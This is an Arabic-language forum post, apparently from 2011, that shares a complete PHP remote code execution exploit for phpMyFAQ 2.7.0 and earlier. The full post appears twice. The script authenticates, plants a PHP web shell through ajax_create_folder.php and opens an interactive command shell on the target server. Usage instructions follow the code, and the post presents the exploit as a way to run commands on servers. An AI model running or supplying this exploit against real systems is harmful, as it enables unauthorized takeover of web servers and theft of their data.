Ace
11-06-2011, 11:50 AM
السلام عليكم ورحمة الله عيد سعيد عليكم اخوتي
ثغرة phpMyFAQ <= 2.7.0 (ajax_create_folder.php) Remote Code Execution لسا نازلا بتاريخ 2011-11-05 طبعا الثغرة تسمحلك بتطبيق اومر على السرفر رابط الثغرة من هنا
http://www.exploit-db.com/exploits/18084
محتواها :
<?php
/*
------------------------------------------------------------------------
phpMyFAQ <= 2.7.0 (ajax_create_folder.php) Remote Code Execution Exploit
------------------------------------------------------------------------
author............: Egidio Romano aka EgiX
mail..............: n0b0d13s[at]gmail[dot]com
software link.....: http://www.phpmyfaq.de/
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Vulnerability overview:
All versions of phpMyFAQ <= 2.6.18 and phpMyFAQ <= 2.7.0 are affected by the
vulnerability that I reported to http://www.exploit-db.com/exploits/18075/
Successful exploitation of this vulnerability requires authentication.
[-] Disclosure timeline:
[23/10/2011] - Vulnerability discovered
[24/10/2011] - Issue reported to http://forum.phpmyfaq.de/viewtopic.php?t=13402
[25/10/2011] - Fix released, more details at http://www.phpmyfaq.de/advisory_2011-10-25.php
[05/11/2011] - Public disclosure
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die( "\n[-] No response from {$host}:80\n");
fwrite($sock, $packet);
return stream_get_contents($sock);
}
print "\n+---------------------------------------------------------+";
print "\n| phpMyFAQ <= 2.7.0 Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------+\n";
if ($argc < 5)
{
print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /phpmyfaq/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$payload = "faqusername={$argv[3]}&faqpassword={$argv[4]}";
$packet = "POST {$path}?action=login HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: pmf_auth=foo\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
if (!preg_match("/pmf_auth=([^;]*);/", http_send($host, $packet), $auth)) die("\n[-] Login failed!\n");
$packet = "GET {$path}admin/editor/plugins/ajaxfilemanager/ajax_login.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: pmf_auth={$auth[1]}\r\n";
$packet .= "Connection: close\r\n\r\n";
http_send($host, $packet);
$payload = "foo=<?php error_reporting(0);print(_code_);passthru(base64_d ecode(\$_SERVER[HTTP_CMD]));die; ?>";
$packet = "POST {$path}admin/editor/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: pmf_auth={$auth[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
http_send($host, $packet);
$packet = "GET {$path}admin/editor/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
while(1)
{
print "\nphpmyfaq-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
print $m[1] : die("\n[-] Exploit failed!\n");
}
?>
قم بترمجة الثغرة لعيونكم :
+---------------------------------------------------------+
| phpMyFAQ <= 2.7.0 Remote Code Execution Exploit by EgiX |
+---------------------------------------------------------+
Usage......: php exploit.php <host> <path> <username> <password>
Example....: php exploit.php localhost /
Example....: php exploit.php localhost /phpmyfaq/
والسلام عليكم ورحمة الله .
ثغرة phpMyFAQ <= 2.7.0 (ajax_create_folder.php) Remote Code Execution لسا نازلا بتاريخ 2011-11-05 طبعا الثغرة تسمحلك بتطبيق اومر على السرفر رابط الثغرة من هنا
http://www.exploit-db.com/exploits/18084
محتواها :
<?php
/*
------------------------------------------------------------------------
phpMyFAQ <= 2.7.0 (ajax_create_folder.php) Remote Code Execution Exploit
------------------------------------------------------------------------
author............: Egidio Romano aka EgiX
mail..............: n0b0d13s[at]gmail[dot]com
software link.....: http://www.phpmyfaq.de/
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Vulnerability overview:
All versions of phpMyFAQ <= 2.6.18 and phpMyFAQ <= 2.7.0 are affected by the
vulnerability that I reported to http://www.exploit-db.com/exploits/18075/
Successful exploitation of this vulnerability requires authentication.
[-] Disclosure timeline:
[23/10/2011] - Vulnerability discovered
[24/10/2011] - Issue reported to http://forum.phpmyfaq.de/viewtopic.php?t=13402
[25/10/2011] - Fix released, more details at http://www.phpmyfaq.de/advisory_2011-10-25.php
[05/11/2011] - Public disclosure
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die( "\n[-] No response from {$host}:80\n");
fwrite($sock, $packet);
return stream_get_contents($sock);
}
print "\n+---------------------------------------------------------+";
print "\n| phpMyFAQ <= 2.7.0 Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------+\n";
if ($argc < 5)
{
print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /phpmyfaq/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$payload = "faqusername={$argv[3]}&faqpassword={$argv[4]}";
$packet = "POST {$path}?action=login HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: pmf_auth=foo\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
if (!preg_match("/pmf_auth=([^;]*);/", http_send($host, $packet), $auth)) die("\n[-] Login failed!\n");
$packet = "GET {$path}admin/editor/plugins/ajaxfilemanager/ajax_login.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: pmf_auth={$auth[1]}\r\n";
$packet .= "Connection: close\r\n\r\n";
http_send($host, $packet);
$payload = "foo=<?php error_reporting(0);print(_code_);passthru(base64_d ecode(\$_SERVER[HTTP_CMD]));die; ?>";
$packet = "POST {$path}admin/editor/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: pmf_auth={$auth[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
http_send($host, $packet);
$packet = "GET {$path}admin/editor/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
while(1)
{
print "\nphpmyfaq-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
print $m[1] : die("\n[-] Exploit failed!\n");
}
?>
قم بترمجة الثغرة لعيونكم :
+---------------------------------------------------------+
| phpMyFAQ <= 2.7.0 Remote Code Execution Exploit by EgiX |
+---------------------------------------------------------+
Usage......: php exploit.php <host> <path> <username> <password>
Example....: php exploit.php localhost /
Example....: php exploit.php localhost /phpmyfaq/
والسلام عليكم ورحمة الله .